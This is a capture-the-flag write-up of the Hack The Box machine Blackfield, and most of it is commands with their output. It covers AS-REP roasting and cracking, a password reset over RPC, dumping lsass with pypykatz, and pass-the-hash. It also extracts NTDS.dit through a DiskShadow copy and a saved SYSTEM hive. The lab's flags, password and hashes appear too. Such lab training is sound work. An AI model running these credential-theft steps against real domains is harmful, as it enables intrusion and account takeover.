I know the sky is not the limit because there are footprints on the Moon — and I made some of them!
Buzz Aldrin
About Blackfield
In this post, I’m writing a write-up for the machine Blackfield from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Blackfield is a ‘Hard’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 20 and submitting the root flag you points will be raised by 40.
Foothold
After the port scan with Nmap, I discovered that this server is the Domain Controller in the forest blackfield.local. After doing some reconnaissance, I found a list of user accounts through an public available share with user accounts. As the server uses Kerberos. I have attacked the Kerberos service, in order to harvest the non-preauth AS_REP responses, and I have got the hand on the password for the user support.
User
The Service Desk usually creates, maintains and deletes user accounts. Via RPC (Remote Procedure Call) I had the possibility to change the password for the account audit2020 and then via evil-winrm I had a session as audit2020 on this box.
The user account audit2020 has permissions on the forensic shared folder and through this shared folder I could download several files, among others lass.dmp. Using the Python version of Mimikatz, I was able to read out the NTLM hash of the user account svc_backup.
Root
As the user account svc_backup is a service account for the backup, it is a member of the Security Group Backup Operators. The account has some extra privileges so that it can backup critical system files, such as NTDS.dit. It has also permission to run the program DiskShadow.exe. With Powershell I have given the account svc_backup ‘Full Control’ on the NTDS.dit, then I have created a Volume Shadow Copy with the use of DiskShadow.exe. From the VSS the NTDS.dit file can be downloaded. Then I extracted the SYSTEM hive, from the Registry, in order to decrypt the contents of NTDS.dit. With the use of secretsdump.py from Impacket I was able to read the hashed password of the Administrator-account. I passed this hash with Evil-WinRM to the box to get a shell as the Administrator-account.
Machine Info
| Machine Name: | Blackfield |
| Difficulty: | Hard |
| Points: | 40 |
| Release Date: | 06 Jun 2020 |
| IP: | 10.10.10.192 |
| Creator: | aas |
Recon
Port scan with Nmap
As always I start this box with the an Nmap portscan.
1
nmap -sC -sV -oA ./nmap/blackfield.txt 10.10.10.192
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-09 05:45 UTC
Stats: 0:01:28 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 05:47 (0:00:14 remaining)
Stats: 0:02:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 05:48 (0:00:20 remaining)
Nmap scan report for 10.10.10.192
Host is up (0.017s latency).
Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-09 12:49:10Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/9%Time=5EDF2219%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h03m13s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-06-09T12:51:28
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.62 seconds
According to the results of Nmap, I’m dealing with a Domain Controller in the backfield.local forest, this server has the hostname DC01. The interesting ports are tcp/445 for SMB, 88/tcp for Kerberos, and 389/tcp for LDAP. Through Nmap, there are various scripts for enumeration for the Kerberos service and the LDAP protocol, but somehow the scripts of Nmap are not returning any information.
Enumeration
Enumeration through SMB
As the scripts of Nmap are not returning information for the Kerberos and LDAP service, I start with the enumeration of the SMB protocol. Maybe this protocol supports anonymous authentication, so I invoked the command below, for listing all of the available shares on this machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
~$ smbclient -L //10.10.10.192
$smbclient -L //10.10.10.192
Enter WORKGROUP\htb-t13nn3s's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
The result is showing that there are two non-default shares listed on this box:
forensicprofiles$
I have started the enumeration of the forensic share, but I do not have the permission to list any files within this share.
1
2
3
4
5
~$ smbclient //10.10.10.192/forensic
Enter WORKGROUP\htb-t13nn3s's password:
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*
I have to check this share later when I got some credentials. I jumped over to the profiles$ share. My expectations for the profiles$ are high. The names of the profile folders generally have the SAMaccountName of the user account in question. Via Kerberos I can check which usernames are actually present in the Active Directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~$ smbclient //10.10.10.192/profiles$
Enter WORKGROUP\htb-t13nn3s's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jun 3 16:47:12 2020
.. D 0 Wed Jun 3 16:47:12 2020
AAlleni D 0 Wed Jun 3 16:47:11 2020
ABarteski D 0 Wed Jun 3 16:47:11 2020
ABekesz D 0 Wed Jun 3 16:47:11 2020
ABenzies D 0 Wed Jun 3 16:47:11 2020
...
YPredestin D 0 Wed Jun 3 16:47:12 2020
YSeturino D 0 Wed Jun 3 16:47:12 2020
YSkoropada D 0 Wed Jun 3 16:47:12 2020
YVonebers D 0 Wed Jun 3 16:47:12 2020
YZarpentine D 0 Wed Jun 3 16:47:12 2020
ZAlatti D 0 Wed Jun 3 16:47:12 2020
ZKrenselewski D 0 Wed Jun 3 16:47:12 2020
ZMalaab D 0 Wed Jun 3 16:47:12 2020
ZMiick D 0 Wed Jun 3 16:47:12 2020
ZScozzari D 0 Wed Jun 3 16:47:12 2020
ZTimofeeff D 0 Wed Jun 3 16:47:12 2020
ZWausik D 0 Wed Jun 3 16:47:12 2020
There are many directories listed, totally 314 directories. Where do I have to start? I walked through the list looking for something odd. And I found actually three usernames which are quite interesting to me:
audit2020supportsvc_backup
I need to know which user account is actually present in the Active Directory. Impacket got a script for this purpose, named GetNPUsers.py. This script can check of the usernames are existing and if they have Kerberos pre-authentication enabled. I exported the shares to a file named profiles.txt, I want to sent founded captured Ticket-Granting-Tickets to john for cracking, that’s the reason that I have added the -format parameter.
1
2
3
~$ python3 GetNPUsers.py blackfield.local/ -usersfile profiles.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
So, the users audit2020 and svc_backup are users that exist in the Active Directory. Now, let’s check if there is one or more TGT’s gained through the script. And yes! The file hash.txt contains the TGT of the user support and have given the hash to john and the password got cracked!
1
2
3
4
5
6
7
~cat hash.txt
$krb5asrep$support@BLACKFIELD.LOCAL:a805494b6a7c447abe584ba870f9d2a3$e47c1499e8ae5b3dd3daa0988c71dbd748766bfc904683a6830138acaa6f8a094679ba4b8c9fca816fee9ca6ba046133caf660b1cec58af01b07
7d19925c99767812dfdc105dc8948135cf346ec7953afe1520d75362c5c79039e70f5283aeec75d2e49c0065b2b9612d1ffd7299da534f054003d5984b40464f66c4918f61068131dafd8f1daa009cf4ac0a634a6de431eb3d3a51d72
d7d527d1324a17d87099757a5164391d49f3d10048e5187ce0500d170410d2b2469929e9bc91f1b14380ed624e95441b76e18ccde76163179309a1c6c8e857a90e63a3af72d44debc28d40da5414b2dc90b3dc89071d1d2a9933470c8fd
~$ john hash.txt -wordlist=/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt
~$ john hash.txt --show
$krb5asrep$support@BLACKFIELD.LOCAL:#00^BlackKnight
I got now the credentials for the user account support.
support:#00^BlackKnight
I have got now the foothold on this box, the next phase: intrusion.
Intrusion
Enumeration through RPC
Always when I have credentials, I need to start again with the reconnaissance. The results of the portscan show that the port for RPC (Remote Procedure Call) is open. The next step is to connect to RPC with rpcclient and enumerate the user accounts again, to make sure that I have missed no user account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
~$ rpcclient -u support -w backfield.local 10.10.10.192
Enter BLACKFIELD.local\support's password:
I'm now connected with the RPC service, let's check which user accounts are listed on this box.
~$ rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
user:[BLACKFIELD764430] rid:[0x451]
user:[BLACKFIELD538365] rid:[0x452]
user:[BLACKFIELD189208] rid:[0x453]
user:[BLACKFIELD404458] rid:[0x454]
user:[BLACKFIELD706381] rid:[0x455]
...
user:[BLACKFIELD996878] rid:[0x582]
user:[BLACKFIELD653097] rid:[0x583]
user:[BLACKFIELD438814] rid:[0x584]
user:[svc_backup] rid:[0x585]
user:[lydericlefebvre] rid:[0x586]
The user account lydericlefebvre is new for me, I think I have missed that account in the earlier reconnaissance. I do not know if I gonna need this account, but for now, I have added to the list of user accounts. The next part is to check which groups are listed in the Active Directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~$ rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
I got now a list of all of the useful user accounts and a list of the user groups. As far as the security groups are concerned there is nothing special to report, rather than that are all default groups that are always listed in an Active Directory.
From now I have to check what I have to do. The account I’m currently logged in with has the name support. This account is apparently a Service Desk account. An IT Service Desk usually has the permissions to create, view and change user accounts.
After Google search I found this article: https://malicious.link/post/2017/reset-ad-user-password-with-linux/. This article explains how to change a password from an user account through the rpcclient. I have tried is and was able to change the password of the account audit2020 to Qwerty2020@2.
1
2
3
4
5
6
~$ rpcclient --user=support 10.10.10.192 -W blackfield.local
Enter BLACKFIELD.LOCAL\support's password:
rpcclient $> setuserinfo2
Usage: setuserinfo2 username level password [password_expired]
rpcclient $> setuserinfo2 audit2020 23 Qwerty2020@2
rpcclient $>
Jump to audit2020
Let’s jump over to the account audit2020. I know that there is a forensic share listed on this box. Until now, I din’t have the proper permission to list and read the files within this share. Maybe audit2020 does have the proper permissions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
~$ smbclient //10.10.10.192/forensic --user=audit2020 --workgroup=blackfield.local
Enter BLACKFIELD.LOCAL\audit2020's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 23 08:03:16 2020
.. D 0 Sun Feb 23 08:03:16 2020
commands_output D 0 Sun Feb 23 13:14:37 2020
memory_analysis D 0 Thu May 28 16:28:33 2020
tools D 0 Sun Feb 23 08:39:08 2020
7846143 blocks of size 4096. 4108744 blocks available
smb: \> smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (3.8 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (6.8 KiloBytes/sec) (average 5.3 KiloBytes/sec)
getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (110.8 KiloBytes/sec) (average 41.6 KiloBytes/sec)
getting file \commands_output\firewall_rules.txt of size 518202 as firewall_rules.txt (1284.4 KiloBytes/sec) (average 642.4 KiloBytes/sec)
getting file \commands_output\ipconfig.txt of size 1782 as ipconfig.txt (12.2 KiloBytes/sec) (average 548.4 KiloBytes/sec)
getting file \commands_output\netstat.txt of size 3842 as netstat.txt (27.6 KiloBytes/sec) (average 483.6 KiloBytes/sec)
getting file \commands_output\route.txt of size 3976 as route.txt (28.1 KiloBytes/sec) (average 432.6 KiloBytes/sec)
getting file \commands_output\systeminfo.txt of size 4550 as systeminfo.txt (30.2 KiloBytes/sec) (average 389.7 KiloBytes/sec)
getting file \commands_output\tasklist.txt of size 9990 as tasklist.txt (69.2 KiloBytes/sec) (average 360.0 KiloBytes/sec)
getting file \memory_analysis\conhost.zip of size 37876530 as conhost.zip (1599.9 KiloBytes/sec) (average 1523.4 KiloBytes/sec)
getting file \memory_analysis\ctfmon.zip of size 24962333 as ctfmon.zip (1704.1 KiloBytes/sec) (average 1589.8 KiloBytes/sec)
getting file \memory_analysis\dfsrs.zip of size 23993305 as dfsrs.zip (1727.9 KiloBytes/sec) (average 1625.5 KiloBytes/sec)
getting file \memory_analysis\dllhost.zip of size 18366396 as dllhost.zip (1628.9 KiloBytes/sec) (average 1626.1 KiloBytes/sec)
getting file \memory_analysis\ismserv.zip of size 8810157 as ismserv.zip (1689.3 KiloBytes/sec) (average 1630.8 KiloBytes/sec)
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (1658.7 KiloBytes/sec) (average 1638.2 KiloBytes/sec)
The user account audit2020 has the permissions to access the files in the share. I have downloaded all of them. I have also noticed that there is a directory listed with the name tools.
I have checked the contents of this folder and there are 3 tools listed. The tools sysinternals and volatility listed. Is there some investigation going on?
1
2
3
4
5
6
7
8
9
smb: \tools\> ls
. D 0 Sun Feb 23 08:39:08 2020
.. D 0 Sun Feb 23 08:39:08 2020
sleuthkit-4.8.0-win32 D 0 Sun Feb 23 08:39:03 2020
sysinternals D 0 Sun Feb 23 08:35:25 2020
volatility D 0 Sun Feb 23 08:35:39 2020
7846143 blocks of size 4096. 4114768 blocks available
smb: \tools\>
I need to analyse the downloaded information. Through all of the files, there is one particular file which attracts the attention.
memory_analissy\lsass.DMP
The lsaas stands for Local Security Authority Subsystem Service, the process lsass.exe is being used by Windows for authentication purposes. Through the tools directory, I noticed the program volatility which can be used for analyzing memory dumps. As this file holds a memory dump from the lsass, I need to focus on this file. When I can read this file, there is a possibility to extract password hashes.
It took me some time to read out the lsass.dmp, first I tried with volatility to read out the DMP file, but couldn’t get it to work on my Kali machine. Eventually, I used the Python version of Mimikatz, pypykatz.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
~$ pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
== WDIGEST [633ba]==
username svc_backup
domainname BLACKFIELD
password None
== SSP [633ba]==
username
domainname
password None
== Kerberos ==
Username: svc_backup
Domain: BLACKFIELD.LOCAL
Password: None
== WDIGEST [633ba]==
username svc_backup
domainname BLACKFIELD
password None
I got now the NT (or just NTLM) hash from the user svc_backup. There is no need for cracking the hash, with Evil-WinRM I can just pass the hash.
1
evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192
I’m currently logged in as svc_backup and by grabbing the user flag, I can go for privilege escalation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ls
Directory: C:\Users\svc_backup\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/18/2020 6:53 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
dfe91a601341819d2ca0cca082495551
Privilege Escalation
Enumeration
I’m now going for privilege escalation to Domain Administrator. As always I am checking first who I am. What kind of permissions does have the account svc_backup. I checked the group membership and I found out that this user is member of the group Backup Operations. That sounds very obvious, the name of the user account already suggests it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*Evil-WinRM* PS C:\Users\svc_backup\Documents> net user svc_backup
User name svc_backup
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/23/2020 10:54:48 AM
Password expires Never
Password changeable 2/24/2020 10:54:48 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/23/2020 11:03:50 AM
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Documents>
A quick check on the privileges of this account learned me that it have at least two ‘extra’ privileges, such as SeBackupPrivilege and SeRestorePrivilege.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_backup\Documents>
The current privileges give me the way to do a privilege escalation. Members of the Backup Operators are able to back-up critical system files on this Domain Controller. After some research, I found out that this account has access to the program diskshadow.exe.
What is disk DiskShadow.exe?
Diskshadow is an interactive command interpreter similar to Diskpart of Diskraid. This program can be used to create Volume Shadow Snapshots (VSS) of disks and expose them as a folder or as a Driveletter. Using a shadow copy avoids problems with file locking when they are in use. Microsoft had introduced this program from Windows Server 2008 and it replaces the vsshadow. This program is by default located in the location C:\Windows\System32\Diskshadow.exe.
This gives me the opportunity to get the hand on the NTDS.dit file, by creating a Volume Shadow Copy I can solve the problem that the files are being locked. I also need the SYSTEM hive from the registry which is containing the boot key, which is needed to decrypt the NTDS.dit. The only challenge left is getting permissions on the NTDS.dit file.
Dumping the contents of NTDS.dit
Before I start working on the NTDS.dit, first this question.
What is NTDS.dit?
The NTDS.dit is the Active Directory database. It stores information about Security Groups, user objects, memberships and it stores all the hashed passwords of the user accounts. This file is encrypted with the boot key. NTDS.dit is only revealing his contents when it gots decrypted with this key. The boot key is stored in the SYSTEM hive in the Registry.
The program DiskShadow.exe is supporting scripts (DiskShadow.exe /s), I have created a script which is creating a Volume Shadow Copy and expose the VSS with the Driveletter Z:.
1
2
3
4
set context persistent nowriters#
add volume c: alias binsec#
create#
expose %binsec% z:#
Getting the permissions in the file NTDS.dit was pretty challenging for me, because I was overthinking. In the end it was easy as it is, just use Powershell to create an ACL-object which is giving the user account svc_backup ‘full control’ and apply the permission to the file C:\Windows\NTDS\ntds.dit.
1
2
3
4
5
*Evil-WinRM* PS C:\.enum> $NTDS = "C:\Windows\NTDS\ntds.dit"
*Evil-WinRM* PS C:\.enum> $acl = Get-Acl $NTDS
*Evil-WinRM* PS C:\.enum> $AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow")
*Evil-WinRM* PS C:\.enum> $acl.SetAccessRule($AccessRule)
*Evil-WinRM* PS C:\.enum> $acl | Set-Acl $NTDS
Always checking your work.
1
2
3
4
*Evil-WinRM* PS C:\.enum> Get-acl $NTDS | select -expand accesstostring
BLACKFIELD\svc_backup Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
I have already created the script for DiskShadow.exe and the permissions are set. I can now create the Volume Shadow Copy by calling the script from DiskShadow.exe. I have uploaded the script file to my working directory C:\.enum and run the script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
*Evil-WinRM* PS C:\.enum> diskshadow.exe /s C:\.enum\shadowscript.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 6/20/2020 6:42:48 PM
-> set context persistent nowriters
-> add volume c: alias binsec
-> create
Alias binsec for shadow ID {0068d66f-2552-4900-ae8b-8d4f2012c0a9} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {7c516490-e0d1-428d-a35a-ba583b2dcb2d} set as environment variable.
Querying all shadow copies with the shadow copy set ID {7c516490-e0d1-428d-a35a-ba583b2dcb2d}
* Shadow copy ID = {0068d66f-2552-4900-ae8b-8d4f2012c0a9} %binsec%
- Shadow copy set: {7c516490-e0d1-428d-a35a-ba583b2dcb2d} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 6/20/2020 6:42:49 PM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %binsec% z:
-> %binsec% = {0068d66f-2552-4900-ae8b-8d4f2012c0a9}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\.enum>
Now I can navigate to the Volume Shadow Copy and copy the NTDS.dit file to the box and then I can download this file to my machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\.enum> cd Z:\
*Evil-WinRM* PS Z:\> cd Windows\NTDS
*Evil-WinRM* PS Z:\Windows\NTDS> cp ntds.dit C:\.enum
*Evil-WinRM* PS Z:\Windows\NTDS> cd C:\.enum
*Evil-WinRM* PS C:\.enum> ls
Directory: C:\.enum
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/20/2020 6:42 PM 612 2020-06-20_18-42-49_DC01.cab
-a---- 6/20/2020 2:31 PM 18874368 ntds.dit
-a---- 6/20/2020 6:42 PM 90 shadowscript.txt
*Evil-WinRM* PS C:\.enum> download ntds.dit
Info: Downloading C:\.enum\ntds.dit to ntds.dit
Info: Download successful!
*Evil-WinRM* PS C:\.enum>
In order to extract the hashes from NTDS.dit, I need the SYSTEM hive which contains the boot key I need for the decryption of NTDS.dit.
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\.enum> reg save hklm\system C:\.enum\system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\.enum> download system.bak
Info: Downloading C:\.enum\system.bak to system.bak
Info: Download successful!
*Evil-WinRM* PS C:\.enum
I got everything in place. With the secretsdump.py from Impacket I can extract the NTDS.dit and read the hashes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ python3 secretsdump.py -ntds ntds.dit -system system.bak LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
I can pass the hash with Evil-WinRM to the box and create a session with the Administrator-account.
~$ evil-winrm -u Administrator -H "184fb5e5178480be64824d4cd53b99ee" -i 10.10.10.192
On the Desktop there is a file notes.txt. The contents reveals that there was indeed an investigation going after a domain compromise. I think they are compromised again:-)
1
2
3
4
5
6
7
8
9
10
11
12
Mates,
After the domain compromise and computer forensic last week, auditors advised us to:
change every passwords -- Done.
change krbtgt password twice -- Done.
disable auditor's account (audit2020) -- KO.
use nominative domain admin accounts instead of this one -- KO.
We will probably have to backup & restore things later.
- Mike.
PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)
Last but not least, I need to read the ‘encrypted’ audit report to have prove that I have owned this box.
1
2
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
048aa4c756dcd99c078a7093cd64fe41
Did you enjoy this write-up as much as I enjoyed hacking this machine? Please, consider to give me a respect point, my HTB profile: https://www.hackthebox.eu/home/users/profile/224856. It means a lot to me. Thanks in advance!
Happy Hacking!